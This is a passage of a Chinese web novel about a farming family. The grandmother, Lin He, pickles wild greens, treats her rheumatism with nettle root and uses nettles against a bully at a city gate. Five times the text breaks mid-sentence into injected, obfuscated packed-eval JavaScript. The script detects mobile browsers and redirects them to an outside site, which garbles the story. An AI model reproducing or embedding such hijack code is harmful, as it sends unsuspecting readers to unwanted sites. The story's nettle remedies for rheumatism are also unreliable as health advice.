走近看，一串花苞上半开的花朵是浅紫色的，已经开了的小花是深紫色甚至带些红色的。 一花两色，这也是葛根花的特点。 虽然五月份的葛根还不能挖出来食用，但已经长出来的粗藤条，完全可以用来绑木棍。 这根葛根藤瞧着粗细大小，至少在此处长了快三年，除了新生的藤蔓外，主藤蔓缠在一起快赶上大臂那般粗壮。 林禾没去扯新长出来的绿藤，这些绿藤水分高质地软，不适合，老藤虽然木质化但仍然保留一定的韧性，很适合用来绑木棍。 寻着葛根藤摸了一遍，林禾扯出来三四根有柔韧的老藤，搓了搓，扯了扯，试试韧性，很不错！ “哗啦——” 林禾扯着葛根藤往外走时，没注意还有一根连着下面断枝，拉走的时候将那根断枝也一起拉了过来，整个草丛都被掀开。 压在下面的野草都重获光明，完全暴露在林禾眼前。 一丛长得和白萝卜叶子差不多的野草吸引了林禾的注意，她凑近些看。 林禾扒开周围的野草，扯了一片叶子放在鼻尖闻，带着些辣味，一下子就确认了。 这就是野腊菜！ “要不是这葛根藤将树枝拽起来，还真就错过了这么一片脆生生的野腊菜。” 林禾蹲下将藤蔓从树枝上扯下来，先带着藤蔓回去，之后再来摘这些野腊菜。 反正野腊菜也不长腿，跑不了。 等回到粪坑边，林禾先将木棍一根挨一根地横在坑口，比量着间距大小。 太宽了怕踩空，太窄了浪费木棍不说而且还不稳。 林禾试了几次不断调整着，确保每根木棍之间的缝隙刚好，不会让二妞她们掉下去。 等林禾确定好位置，她单膝跪地，将木棍一根根固定。 她拿起一根最长的硬木，垂直地紧贴着坑沿外侧泥土狠狠夯下，作为第一根支撑柱。 接着，将第一根横棍的一端紧靠支撑柱放稳，另一头同样用一根短木桩在外侧夯入土中卡死。 她扯过准备好的韧藤，在横棍与立桩交叉的地方，一圈紧过一圈地缠绕，手腕用力，勒紧，藤蔓深深嵌进木头里，再打上死结。 她就这么一根横棍，两根立桩地固定着，动作沉稳有力，不见丝毫忙乱。 五月的天还算不得热，但林禾干活动作大，额角渗出细汗，也只是用胳膊蹭一下，眼神始终专注在手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287140|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活计上。 所有的横棍都牢牢固定在了两侧夯入土中的立桩上，形成一个整体框架，而非各自散落的木板。 这样即便一根稍有松动，其他部分依然稳固。 最后，她站起身，用脚小心翼翼地踩了踩新铺的“厕板”。 她先是轻轻试探，然后逐渐加大力道。 整个结构纹丝不动，异常牢固，只有被踩踏的那根木棍微微下压，发出令人安心的“吱嘎”声。 她还不放心，又特意在中间位置蹦了两下，依旧稳固。 这下好了，再不怕两个孩子掉下去了。 林禾长出一口气，看着这个由木棍和藤蔓重新加固的旱厕，心里这才彻底踏实下来。 等处理完旱厕的事情，林禾才回到刚刚摘葛根藤的地方，那还有一大丛野腊菜等着她去摘呢！ 野腊菜其实算是荠菜的一类变种，但二者有明显的不同。 荠菜鲜嫩可口、汁水充沛且带着些甜味，但野腊菜入口带着些辛辣的口感，和生吃萝卜的辣味差不多。 而且野腊菜的外表和白萝卜的叶子长得十分相似，茎叶上带着白色的细小毛刺，拔的时候还得躲着些，不然容易被蛰到。 野腊菜生吃口感不算好，但用来腌咸菜却很受欢迎，辛辣的口感被咸味中和，带些韧劲儿的口感反倒很适合拌饭或者当馅料。 林禾趁着最后一点亮光，将**的野腊菜全都用葛根藤捆起来，甩在肩膀上扛回山洞。 沈大山见了忙过来接，林禾肩上一松。 别看这些野腊菜用葛根藤轻松捆住，其实重量不小，一路扛过来，林禾肩酸背痛，直起身子才感觉好一些。 “娘，这些是萝卜菜？”王三娘乍一看，还没分辨出来。 “是野腊菜，和萝卜菜差不多，带回来能腌咸菜，正好白天还剩下些盐，一起都用了！” 林禾揉着酸痛的肩膀，把放在中间的野腊菜拎到另外一边。 仅仅只是这个动作，林禾就感觉手肘处一阵酸软，几乎要拎不住手中的野腊菜。 第55章 风湿痛 “嘶——” 林禾捂着手肘的地方，一时间有些缓不过神来。 王三娘忙过去接住林禾手上的野腊菜，声音带着关切，“娘，你是不是风湿又犯了？” 原本还以为是拉伤的林禾也反应过来，原主因为长期下田干活，确实有风湿。 不过之前一直没有发作过，林禾也没想起来，这段时间下雨频繁，又一直住在山洞里面，湿气不可避免，发作起来确实厉害。 林禾从前没得过风湿，现在一感受还真吃不消。 林禾只觉得一股酸胀的刺痛从肘关节深处钻出来，像是有什么东西在骨头缝里又拧又撬。 这痛楚并不尖锐，却沉甸甸的带着一股闷劲儿，让她整条胳膊都使不上力，连带着半边身子都发起僵来。 她试着慢慢伸直手臂，那关节却像是生了锈的铁链，每动一分都伴随着酸涩的阻滞感，还发出极轻微的“咯咯”声。 不得已，她只能屈着手臂，用一种别别扭扭的姿势僵着，仿佛那已不是她自己的肢体。 一股沉甸甸的、冰凉的感觉牢牢钉在关节里，像是寒冬腊月里被塞进了一小块始终不化的冰碴子，冷津津地往外渗着寒意，却又奇异地带着点灼热。 王三娘搓热的手掌替林禾轻轻按揉着肘弯和膝盖，那暖意短暂地驱散了表面的不适。 可稍一用力，深埋骨缝里的酸疼就被惊动了，猛地一窜，激得林禾倒抽一口冷气，额头瞬间渗出细密的冷汗。 她这才真切地体会到，这身子以往积下的病根，竟是这样磨人。 阴湿天气里，它便如附骨之疽，无声无息地冒头，用这种绵长而刻骨的酸疼提醒着它的存在。 风湿不是大病，但却是个折磨人的病。 还不比其他病，能想法子根治，风湿不能根治，只能缓解。 看来山洞并不是久待的地方，还是得寻一处平坦的地方建木房子住。 不然等风湿严重了，走路都成问题。 林禾可不想不到五十的年纪，已经半瘫痪，每日要靠人背着出门。 林禾之前一直待在山里没得风湿，多亏那些前辈的提醒。 他们都是过来人，风湿疼得厉害的时候，吃止疼药也不管用。 还是当地的苗族老人找了荨麻根过来，最后才缓解一点，但始终没有根治。 林禾忍着疼，回忆起当时荨麻根的样子。 她记得好像就是六月前后荨麻根长出来了，山上仔细找应该也能找到。 “娘，我接了热水过来，您先泡泡脚。” 王三娘端着冒热气的水过来，将陶盆放在林禾脚边，又转身去拿了一块开水淋过的帕子，塞在林禾手上。 “这个您拿着敷手肘。” 就这样泡着脚，敷着手肘，林禾才感觉慢慢得到缓解。 “娘，饭我给您端过来了。”沈大山把饭送到林禾手边，“您能动吗？要不要我喂您？” 林禾婉拒，“不至于，放到石桌上去，我自己过去吃。” 林禾知道沈大山有孝心，但也不至于这般夸张。 只是风湿就到了要让人喂饭的程度…… 林禾吃完饭，缓过来了，看着堆在角落里的野腊菜，还是起身走了过去。 “娘，你好好休息，这个菜要怎么腌，你告诉我们，我们来弄！” 沈大山见林禾又要去干活，立马跟了上去。 “奶奶，我们也能干活，你告诉我们！”二妞拉着大妞，一脸信誓旦旦。 大妞也跟着点头。 王三娘也开口劝道：“娘，您是我们的主心骨，您好好歇着，要干什么活儿，都告诉我们，您在一旁指挥就行了！” “也行。”林禾见他们坚持，也不和他们犟。 反正腌野腊菜用不上什么技巧，她在旁边看着也不会出什么错，就由着他们去了。 林禾坐在一旁稍高的石墩上，手肘上还敷着温热的布巾，开始指点江山。 “三娘，先把那堆野腊菜抬到蓄水池边上去，仔细洗干净，特别是根部的泥沙，得多冲几遍。” 她声音放缓，清晰地吩咐道。 “哎，好！”王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287141|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三娘应得干脆利落，立刻弯腰去搬那筐沉重的野腊菜。 沈大山忙抢上前一步，“我来我来，这个重！” 他一把扛起筐子，脚步稳健地往山洞里去。 王三娘笑着摇摇头，赶紧拿上洗菜用的竹篮跟了上去，不忘叮嘱，“你慢着点，别把筐摔散了。” 大妞和二妞也闲不住，像两个小尾巴似的黏在父母身后。 大妞细心，发现父母没带装洗好菜的家伙，又噔噔噔跑回来，费力地抱起一个干净的大陶盆。 二妞则机灵地捡起姐姐落下的舀水葫芦，小跑着跟上。 林禾看着他们的背影，心里那点因风湿带来的烦闷消散了不少。 没多久，他们就将野腊菜清洗干净了。 翠绿滴水的菜叶堆在木盆里，散发着略带苦涩的植物气息。 “娘，接下来咋办？” 王三娘甩甩手上的水珠问道。 “得先把水汽晾晾，不能太湿也不能太干。”林禾指了指洞口一块平坦通风的大石头，“铺那儿，摊开些。” 沈大山和王三娘合力将菜铺开。 大妞和二妞也没闲着，学着大人的样子，用小手把纠缠在一起的菜叶仔细捋顺、铺平，做得有模有样。 等待晾晒的间隙，王三娘已经按照林禾的指示，将家里那个半人高的大陶缸搬了出来，里外都刷洗得干干净净。 沈大山则去找来了粗盐罐子。 约莫过了小半个时辰，菜叶表面的水珠差不多晾干了，摸上去有些软蔫，但依旧湿润。 “可以了。”林禾发话。 王三娘是主力，她在缸底先薄薄撒了一层盐，然后抓起一把野腊菜，熟练地抖开，铺进缸里，接着又是一层盐，细细撒匀。 林禾在一旁提醒，“盐要撒匀，不然容易坏，也不好吃。” “我晓得，娘。”王三娘手下不停，动作又快又稳，层层叠叠的绿色在她手下累积，盐粒如雪花般落下。 沈大山看着有趣，也挽起袖子想帮忙，“三娘，我来铺菜，你撒盐？” 第56章 荨麻草 王三娘睨他一眼，笑道。 “你可算了吧，之前让你腌酸豆角，你不是咸得齁**就是淡得发了霉？还是我来撒盐，你帮我往缸里递菜吧。” 沈大山挠挠头，憨厚地笑了：“嘿嘿，也是，这精细活儿还得你来。” 他便老实担当起搬运工，将晾好的菜一大把一大把地递给妻子。 大妞和二妞也争着要做事。 大妞细心，学着娘亲的样子，小心地捏起一小撮盐，努力地想撒得均匀。 山洞里一时安静下来，只听得见铺菜时窸窸窣窣的声音，以及盐粒落下的沙沙声。 洞里的火堆斜斜照过来，映着一家人忙碌而和谐的身影。 那粗陶大缸渐渐被翠绿填满，空气里弥漫着盐以及野腊菜特有的混合气味，辛辣中带着咸香。 林禾看着，手肘的隐痛似乎也缓解了。 这就是一家人，各司其职，互相帮衬。 再难的关，也能一起过去！ 晚上林禾睡得并不算安稳，手肘的疼缓解了，但膝盖却一直隐隐作痛，扰人清梦。 外面天微微亮时，林禾干脆不睡了，洗了把脸就拿着柴刀往外走。 她记得当初和苗家阿婆一起去找的时候，荨麻根都扎根在背阴的灌木丛或者沟渠边。 林禾直奔山的北边去。 下了斜坡，拐进树丛，头顶的阳光慢慢消失。 在山里，早晨没有阳光的地方仍然带着些凉意，林禾觉得手肘处又开始隐隐作痛。 “生病的时候才知道不生病的好处啊！” 林禾走了几步，蹲下来揉着膝盖。 果然人在健康的时候根本意识不到健康带来的好处，只有在生病的时候才盼着健康的到来。 风湿没发作之前，她能一口气从山脚走到山顶，现在连下个坡都觉得费力。 林禾缓了一会儿，才继续往树丛里走。 她专门挑着阴冷潮湿的地方走。 风湿要避开阴冷潮湿的环境，但荨麻草偏偏最喜欢长在这样的地方。 好一个三步之内必有解药！ 林禾的注意力都放在周围的草丛上，一时不察，一脚踩进泥地里，左脚大半个鞋子都湿了。 “这地方有水？”林禾抽出脚，仿佛看到了希望。 她扒开一丛半身高的灌木，果真瞧见灌木丛后面藏着一条细细的小溪。 水流很小，严格来说应该是一条小水沟。 水沟周围堆满了落叶，隐藏在落叶下面的烂泥就是让林禾湿鞋的罪魁祸首！ 林禾沿着这条小水沟往前一直走，途中经过的每一个灌木丛或者草丛，她都仔细搜寻，但始终没有发现荨麻草的踪迹。 “难道还不到生长的季节吗？” 林禾纳闷的小声嘀咕。 按道理来说，这样的水沟旁边应该会有荨麻草生长啊…… 林禾不死心，继续往前走了一段路，眼看就要到尽头了，还是没看见半棵荨麻草的踪影。 林禾泄气之际，打算原路返回，却在往下看的时候，发现水沟的尽头下面居然是一片被水冲出来的浅滩。 浅滩上长满了荨麻草！ 叶片边缘带着锯齿，茎叶上面都布满长短不一的白色刺**，上面新生的叶子是浅绿色，老叶的颜色则要更深一些。 林禾瞧见，这才发现水沟周围的较矮的草都伏倒在地上，紧贴着地面，显然是被水冲成这样的。 前段时间下暴雨，这条水沟也没能幸免。 荨麻草喜欢潮湿的环境，但同时又喜欢生长在排水好的土壤上。 暴雨把水沟旁边的土壤灌成烂泥，难怪没有荨麻草生长。 林禾拽着周围的灌木小心走下缓坡，刚踩到浅滩上时，就能察觉出浅滩的土壤比水沟旁边的土壤干爽的多。 至少不会一脚踩下去就陷进去了。 林禾站在浅滩上，望着这一大片高矮不一的荨麻草，心中那点因寻而不得的焦躁瞬间被欣喜取代。 凑近了看，那带着锯齿的叶片，茎秆上密布的、在微薄晨光下几乎肉眼可见的细密刺**，无一不与她记忆深处那位苗族阿婆所指认的形象重合。 这看似不起眼甚至带着防御姿态的植物，却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287142|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓解那附骨之疽般疼痛的希望。 她深知这荨麻草的厉害，那些细小的刺**一旦碰到皮肤，便会断裂。 能引起又痛又痒的红肿，仿佛被无数细小的火针扎过，得好一阵才能缓解。 风湿缓解的法子第一步正是靠荨麻草叶子，准确来说是靠荨麻草的叶子快速在有风湿痛的地方甩打，依靠叶子上的刺将湿气拔出。 偏方是这般操作的，但采摘的时候绝不能徒手去碰！ 有风湿的地方打上去只觉得有些许暖意，但没有风湿的地方，那就是火针般的刺痛。 林禾深吸一口带着水汽的清冽空气，定了定神。 她先将手中的柴刀放在一旁干燥的石头上，旋即毫不犹豫地转身，沿着来路快步返回山洞。 她的脚步因为心中的期盼而轻快了些许，甚至暂时忽略了关节的隐隐作痛。 山洞里，王三娘刚起身，正忙着收拾床铺，见林禾这么快回来，且两手空空，不禁疑惑。 “娘，您一早出去是……” “找到了！在北面山沟浅滩上有一片！” 林禾语速略快，带着一丝不易察觉的兴奋，她径直走向角落，拿起一个结实的旧竹筐和一块不常用的抹布。 “是荨麻草，治风湿有用。那东西蜇人，得用家伙什去弄。” 她晃了晃手中攥着的抹布和竹筐，又抄起刚才放在洞口的竹棍。 王三娘一听，立刻放下手中的活计：“我跟您一起去！” “不用，地方窄，我去就行。你看好家，把最后剩下的几个糍粑也蒸上。” 林禾动作利索，语气不容置疑。 她将抹布塞进筐里，提着家伙事儿又风风火火地出了门。 再次回到那片浅滩，天色又亮了几分。 林禾用抹布缠在手上，接连缠了好几圈，能有效隔绝那些致命的刺**。 她蹲下身，仔细端详着这些荨麻草，它们一丛丛生长着，老根深扎在砂石土壤中。 她的目标主要是地下的根茎，那才是药效最好的部分，治疗风湿主要靠这些根茎入药内服。 第58章 苦不苦 大妞一直安静地看着，此刻她小声问：“奶奶，要煮多久？” “还得煮上好一会儿，把药性都煮出来。” 林禾看着罐子开始冒白烟，又添了两根柴火。 药汁熬得浓稠了，林禾才让沈大山撤了火。 她将药汁滤出半碗，晾到温热，然后屏着气一口饮尽。 那味道极苦，涩得她皱紧了眉头，一股强烈的土腥味直冲喉咙，但咽下去后，喉间又回甘一丝奇异的清凉。 剩下的药渣和浓汁也没浪费。 林禾让王三娘找出一块干净的旧布，将还温热的药渣包裹起来，做成两个药包。 “大妞，帮奶奶拿过来。”林禾指了指放在一旁石头上，已经不怎么烫手的药包。 大妞小心翼翼地捧起药包，触手温热，散发着浓烈的药味，她稳稳地递给奶奶。 林禾接过，一个敷在依旧红热刺痛的膝盖上，另一个则敷在了手肘处。 温热的药力透过皮肤丝丝缕缕地渗透进去，与之前荨麻叶带来的灼热刺痛感不同。 这是一种深层且舒缓的暖意，慢慢熨帖着酸胀的关节，像是冻僵的泥土在春日暖阳下逐渐化开，变得柔软。 她靠在洞壁，长长吁了口气，感受着关节处难得一见的松弛感，虽然并未全好，但那磨人的疼痛确实减轻了大半。 二妞看着奶奶舒缓的神情，也凑过来，小鼻子嗅了嗅。 “奶奶，苦不苦呀？” “苦，”林禾笑了，摸摸她的头，“但能让人舒服，就不怕这点苦了。” 山洞里，药香弥漫，火光温暖，一家人围坐在一起，时不时说几句玩笑话，格外温馨。 林禾翻看竹筐里剩下的荨麻根，留下自己需要的数量后把其余的荨麻根都装进小竹篓里。 “大山，你将这些拿去挂起来，明日我们拿去春风堂问问。” 林禾把装好的荨麻根和荨麻叶都放在一起。 “娘，明日要不我一个人去吧？”沈大山担忧地看着林禾的脚。 县城虽然算不得远，可来回走一趟，至少也有十多里路。 沈大山担心林禾的腿才刚好又要遭罪。 “不用，你一个人去我不放心。”林禾开口拒绝了。 一是城中还可能有官兵搜查，她不放心沈大山独自一个人去。 二是她自己需要去买些东西，沈大山不一定能买到合她心意的。 这晚林禾睡得很安稳，没再被风湿疼痛困扰。 次日醒来时浑身舒爽，精神头比沈大山还好，“走！时辰早出发，路上碰到的人少！” 沈大山随手抹了一把脸，背上竹筐跟在林禾身后。 昨晚他一晚上都在刷装过荨麻草叶子的竹筐，里面全是毛刺，不刷干净根本用不了。 奈何刷到半夜，一摸还是能摸到三五根不知道从哪里冒出来的毛刺。 刷到后半夜，沈大山只得作罢，换个新的竹筐装东西。 一早上起来，林禾也学乖了。 荨麻根放在沈大山的竹筐里，荨麻叶，林禾用草席包好抱在手上。 新的竹筐里若是染上荨麻根的毛刺，那往里放的每一样东西都会被染上毛刺。 “娘，你要是觉得累了，就把这荨麻草叶子给我拿。” 沈大山打了个哈欠，红着眼睛跟在林禾身后。 “我不累，今日回来的时候，你去茶棚歇歇脚，再睡一会儿。” 林禾瞧见他眼底的血丝，知道他总共没睡多久。 做完林禾睡得沉，压根没注意他还没睡，坐着刷了大半宿竹筐。 若是知道，她定然早就让人睡觉了。 荨麻草的毛刺在竹筐夹缝里，如何是用草刷子刷就能清理干净的？ “没事……”沈大山刚想说不用，立马又打了一个哈欠。 “……”林禾看着沈大山，意思很明显。 “我听您的。”沈大山妥协。 他确实困得不行。 莫约走了一个多时辰，周围的人渐渐多了起来，天色也亮了几分。 等二人走到城门口时，才发现今天的人格外多，刚过辰时四刻（8：00）城门外就大排长龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287144|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “今日是什么日子？城门才刚开怎么就有多人？” 沈大山不解地嘟囔。 林禾则快步走了过去，排在一个面善的老妪后面，笑着开口问：“婶子，今儿可是有啥节日？” “妹子，你住的远吧！今儿是胡市开的第一天啊！” “那些胡商前几日就拉着几百车货物进城了，要什么的都有，隔壁县的听说了，也有不少人赶过来嘞！” 那老妪说话时带着点自豪。 她看见林禾手上抱着东西，还以为林禾是来卖东西的，“妹子，你别怪婶子没劝你，今日这胡商一来，怕是一个月都不会走，你的东西不一定能卖出去。” “婶子，我这是些药材，换些小钱用的，卖不出去我就再带回家呗！” 林禾说得有模有样，哄得前面的老妪满脸笑容。 老妪将目光落在沈大山身上，“妹子，这是你儿子还是弟弟？” 林禾笑着开口：“是儿子。” “呦！那我还真瞧不出来。”老妪面露诧异，靠近低声问：“你月子坐得不错吧？月子里婆母没让你干活？” 女子在这个时代地位不高，生存本就不易，嫁人之后更是各种磋磨等着，怀孕下地，临盆前还在地里干活的不在少数。 孩子生出来，月子里干活的更是多得数不清。 若是哪家的女人月子里不干活，外头都会传这家的女人娇气，脾气大，娶回来要当祖宗一样供着。 可月子里没修养好的女人，又要日复一日地操劳干活，普遍都看着比实际年龄要大许多。 二十多岁瞧着像三十多岁的，三十多岁瞧着和五十多岁没差别！ 原主生下沈大山的时候，不过也才十五岁，庆幸的是原主的公婆死得早，生下沈富贵的时候，原主的男人也**。 但沈大山已经能干不少活儿，原主仗着沈大山愿意干，分担了不少苦活累活。 后来原主专门挑了性格温顺的王三娘当儿媳妇，更是什么活儿都不干了。 即便三十多岁，瞧着也和刚二十多一般。 第59章 不好惹 更何况林禾这段时间吃得饱穿得暖，吃食越来越好，营养一跟上，脸圆润不少。 加上林禾二十多岁的灵魂，精神头好，眼神清亮，言谈举止不似原主，和沈大山站在一起，还真叫人分不太清楚。 “女人家哪儿有月子里不下地干活的？”林禾笑着反问老妪，“我临盆前还在地里插秧，生二儿子的时候我都是在田边生的。” 林禾这么一说，老妪露出一副果然如此的表情，沈大山却满脸诧异。 “娘，你什么时候……” “我们说话，你插什么嘴！”林禾瞪了他一眼，示意他闭嘴。 别人过得好就更容易衬得自己过得差，其中的落差不是每个人都受得了的。 在外面只要记住一条原则，比惨就行了！ 人的嫉妒心，尤其可怕！ 出门在外身份是自己给的！ 沈大山开始不明所以，但和林禾相处久了，他慢慢也想通了，出门在外，说实话倒不如半真半假说。 “娘，竹筐您看着一下，我马上回来。” 沈大山早上没吃东西猛灌了几口凉水，这会儿肚子不舒服，得找地方解决一下。 林禾看着前面已经开始挪动的队伍，要不了多久了，“去吧，快一点，马上要到我们了。” “诶！马上就来！” 沈大山前脚刚走，一个高壮的男子从队伍末尾走了出来，站在队伍外面绕了一圈，慢慢往林禾前面靠近。 不等林禾反应，那男子一脚踩在林禾脚上。 “嘶——你做什么？” 林禾下意识往后撤了一步，那男子顺势**来，还挑衅般回头看了林禾一眼。 站在前面的老妪见状，看了男子手上的肌肉，识趣地没开口，背过身假装没有看到。 谁都不想惹事，自然也不会有人替林禾出头。 大汉一脚踩下去，林禾觉得脚指头都青紫了，疼得发麻。 林禾本来就不是隐忍的性格，见男人还挑衅她。 林禾冷笑一声，将草席包好的荨麻叶扯开一点，露出一半的荨麻叶，状似不经意间擦着男人的后背，从左手挪到右手。 “啊——” 壮汉只觉后背像被火舌舔过一般，又烫又痛。 他忍不住用手去挠，但手刚碰到后背，疼痛加剧，就连手上也感受被什么东西蛰了一下。 “你……你这个贱妇！你对我做了什么？” 男人抓着自己迅速红肿的手指，脸色瞬间涨红，是被气的。 “这位好汉，你说话可要有良心，我一个妇人，能对你做什么？分明是你刚刚踩了我一脚，怎么还反过来赖上我了？” 林禾一脸无辜。 其余人不敢明说，但都交头接耳，面上皆是对男子的鄙夷。 毕竟男子的一身腱子肉瞧着就不是林禾的细胳膊细腿能伤到的。 “你——” 男子还想说什么，但眼看前面就要到城门口了，瞧见往这边张望的官差，他也只好作罢。 但心里还盘算着一会儿进城后要让林禾付出代价！ 林禾见他转身，又是一个不经意将荨麻草的叶子扫过他的背部。 “啊——” 壮汉疼得差点叫不出来，但转过身，他却没有发现林禾手上拿着其他东西，依旧只有那一把绿叶的草。 还在排队的其他人，看见壮汉一惊一乍的样子，都开始有些不耐烦。 本来今日进城的人就多，若是将官差引过来，连累他们不能进城，那不白排了这么久的队！ 男子也不傻，见众人都露出不满的神色，暂时收敛了，但也没有再背对林禾，而是转过来抱胸看着林禾。 沈大山匆匆赶过来，正巧看见壮汉对林禾怒目而视，他立刻挡在前面。 “你瞪眼做什么！” 沈大山虽然不如男子壮，但身高上却压他一头，挤过去时那壮汉明显愣了一瞬，气势也弱了下去。 “切！”壮汉眼看要进城，深深地看了沈大山一眼就背过身去。 “娘，你没事吧？”沈大山关切地望着林禾，还有些自责。 林禾示意沈大山站到自己身后，“没事，你娘我哪是这么好欺负的！” 眼看前面还有两个人就要到城门口时，林禾隔着草席抱紧手中的荨麻叶， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287145|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用足了力气，对着壮汉裸露在外的小腿打下去。 “啊！”男子疼得跳起来，捂着小腿倒在一边，完全直不起身子。 城门口排查的官差见壮汉这般大喊大叫，不耐烦地呵斥道：“**就赶紧滚！” “差爷……我不是**，是那个贱妇不知用了什么手段，她打我，我才疼得叫出声的！” 壮汉指着自己红肿的腿控诉林禾。 “差爷，我哪里能将他打翻在地呢？他摆明是想讹我！” 林禾一口咬定男子是要讹钱。 “胡说！你这个贱妇，不好好在家待着，专门跑出来祸害人！” 壮汉气得满脸通红，抬起巴掌要打林禾，沈打山立刻上前挡住，“你敢打我娘？” “在城门口你们还敢**？！” 官差抽出鞭子威慑，皱眉看着壮汉又看向林禾，显然也不相信壮汉的说辞。 且不说林禾手上就拿了一把草，就说她细胳膊细腿的样子，哪里像是能干翻一个壮汉的人？ 简直是笑话！ 天气热，人又多，值守的人还只有他一个，要查的人太多了。 他本就烦闷燥热，更加不愿意做断案的人，匆匆查了林禾的东西，又看了沈大山的竹筐，确定没有其他东西之后，挥手让人赶紧走。 “差爷，我还没进去呢！”壮汉想跟着一起进去，但站在后面的男人快步上前，挡住了壮汉。 毕竟谁也不想**队。 后面跟着的人都效仿男人的做法，一个接一个挨得紧，根本不给壮汉插队的机会。 官差见状，淡淡开口：“你既然出来了，就重新再去排队。” 插队很容易引人**，到时候出了事，让心怀不轨的人混进去，他的饭碗也不保，自然不会顾忌壮汉的心情。 壮汉没办法，只能又灰溜溜地回到队伍最后面。 这段时间，排队的人更多了，他要进城恐怕得再等上大半个时辰，倒不如一开始不插队，老老实实排队进城。 林禾见壮汉没有跟着进城，心情格外舒爽！ 对这样的插队狗最大的惩罚就是让他重新排队！ 第60章 惊奇效果 上次林禾已经来了一次，去春风堂的路已经熟悉得不能再熟悉。 林禾和沈大山进了城，直奔城西的春风堂。 药堂里弥漫着熟悉的草药香，有两个面生的伙计正在柜台后忙着抓药，上次来见到的药童并不在。 坐堂的李大夫须发花白，正凝神给一位病人诊脉。 那病人是位老者，约莫六十上下，穿着比寻常农户体面些的灰布长衫。 但此刻却痛苦地佝偻着腰，几乎坐不直，一只手死死按着右腿膝盖，额头冷汗涔涔，嘴唇都有些发白。 旁边跟着个焦急的年轻人，像是他的子侄。 “李大夫，您再想想办法，我爹这腿疼了好几天了，实在是受不住了啊！” 年轻人声音带着恳求。 李大夫眉头紧锁，收回诊脉的手，缓缓摇头。 “张村长，您这痹症年月太深，气血瘀阻得厉害。老夫开的方子也只能缓缓图之，这般急痛……怕是得硬熬过去，辅以针灸或可稍缓，但见效也慢啊！” 这位痛苦不堪的老者，正是附近槐花村的村长张守业。 他是附近德高望重的老者，不止是因为他是村长，而是因为他确确实实带着槐花村的百姓过上了好日子。 县城附近这么多个村子，只有槐花村的百姓们过得最好。 这些都是他的功劳。 张守业闻言，眼中透出绝望，呻吟声都带上了颤音。 “熬、熬不住了啊……像是有锥子在骨头缝里钻。” 药堂里其他等候的病患也都投来同情的目光，有想要帮忙的，却也无能为力。 林禾见状，轻轻将背着竹筐的沈大山让到身前，对李大夫开口道。 “李大夫，叨扰了。” 李大夫抬眼一看，认出了林禾，态度和蔼了几分，“是林娘子啊，今日来是有了新的药材吗？” 上次林禾送过来的山蛭品质就很好，他前不久才用那些山蛭入药救回来一个得急症的病人。 他对林禾送来的东西已经有几分期待了。 “我采了些山货，想来问问您这儿收不收。” 林禾说着，示意沈大山将竹筐放下。 她目光扫过痛苦不堪的张村长，心中一动。 她弯腰，从竹筐里小心地拿出那包用草席裹着的新鲜荨麻叶，打开一角，露出那布满刺毛的叶片。 “李大夫，您看这个，或许能暂缓这位老人家的急痛。” 李大夫凑近一看，略显惊讶，显然他认出来了。 “荨麻叶？这东西蜇人得很，民间倒是有用其拍打痹症痛处的土法，只是……” 他有些迟疑，这法子野得很，且过程痛苦，他这药堂里从未用过。 张村长疼得几乎迷糊，听到能缓解，像是抓住了救命稻草，也顾不得许多，喘着气看向林禾。 